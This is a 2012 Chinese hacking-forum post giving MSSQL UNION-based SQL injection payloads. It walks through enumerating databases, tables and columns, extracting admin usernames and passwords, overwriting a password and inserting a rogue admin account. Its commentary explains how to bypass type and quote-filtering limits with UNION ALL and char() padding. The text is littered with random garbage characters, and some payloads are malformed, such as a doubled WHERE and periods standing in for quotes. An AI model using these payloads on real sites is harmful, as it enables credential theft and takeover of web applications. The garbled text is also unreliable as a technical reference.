找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1953|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
3 j6 e8 |7 W( |' l( phttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--3 }8 g! o# c/ }7 c/ F( Q
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.% h' {# d( q' P  j+ E) ^
爆下一个库:# c1 r' q7 i: N9 a/ l
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--2 K4 A9 r/ o/ |" E
8 Z: z, H& a6 b4 `! X) c
爆表:
" G" |  D, Y) I8 s: F9 u; m; i3 X3 ?! shttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
4 Y# h; f* D% l' q$ H3 A' N$ w2 W
0 _/ {0 a1 n6 v7 oSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
  g; Y6 N: m" A, A/ M; e0 {3 a. f
爆下一个表
" l: _. v4 E3 K7 Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--  r$ b. I! y+ `  u2 [' F( H
+ ?5 Y+ u# z  o7 C
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
& \  h: Q# I& E5 k) \
: d( k8 N$ J2 F) _) I$ V( a' v' }' q7 m( k7 {2 k  U4 S

6 {5 e% \1 f: G/ J7 X% }爆字段:% j! u6 V2 L. S6 {2 N( p5 r. |
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--6 h+ J' U* r; w) Y9 ]
8 c- [" H  D1 V; e  n; l/ Q- X
爆下一个字段: w4 L. A4 q3 s- ~0 y0 h. s
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--' j0 R) y$ j# }1 W1 l, r/ F
+ K2 _6 t1 y8 m' r7 q- d" O
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--- l4 B0 A5 N+ y( U

0 R: g3 a1 V8 i, A1 x$ o) [: H( L  `* A: f  Q+ {, J
爆字段里的内容
' ?9 c2 b, l* v$ G9 q% [, q, ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--* n( w, W  }+ T8 T7 z; |& z
1 f% \0 T0 b( h( }
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
# Y# F% @/ G/ i
) D: A& s; i1 c& t, I* R. S, _* }http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--7 C$ s" v. D& z9 \( H& ~. [1 `
' Q* G1 ~  m: b# I' j1 `) t+ X
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
& G4 ]% L. a9 Z+ F. v5 j
& S- B1 L0 \5 F5 w% j; n更新字段里的内容
) u) ~# B9 H% v! s0 Bhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
+ O2 ^( _' \2 A- H5 z$ I* d* {- I
  }+ m4 ?0 f- @6 y" @! m- F+ H' ?6 s! Ehttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
0 h% J: U0 c+ c% m' a$ s. y* p* H* e2 M1 x2 F* j+ E& `' T
2 [  `4 P1 N5 b  p% p( F

! @& {$ u. O+ B! t$ M* M* @0 d        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。# I0 ?; K( K5 F0 C
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
+ C0 {! n4 a, ~7 @" F4 Y1 b    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
7 I6 V# H+ s5 s: P    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。% T% h8 b3 H; h* E' ~2 y

% n: c7 z* L2 ~6 Z. J$ P8 m突了了大部份限制的语句
% S9 O& `; T$ V& j  ?and 1=2 union all select char(49),char(50),null,null;--
- @  l: ?- @2 {1 j
! u" ?( j9 T+ ?' o* m0 o- p& d- X8 P; b$ d* w
null也可以正常执行,不过没有回显,不好判断回显的列数。
' B- J' W( Z8 @4 b! q  G一般union遇到问题都是有text或者ntext字段,image的很少遇到
1 N2 g% p4 d% J, D
8 d5 O1 t* K/ j1 i: e; ]& L可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟5 F( @; C! [5 @( \6 E2 r( K$ N

( I) f0 R* L. d0 s& r3 O7 V0 l, T9 `$ z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表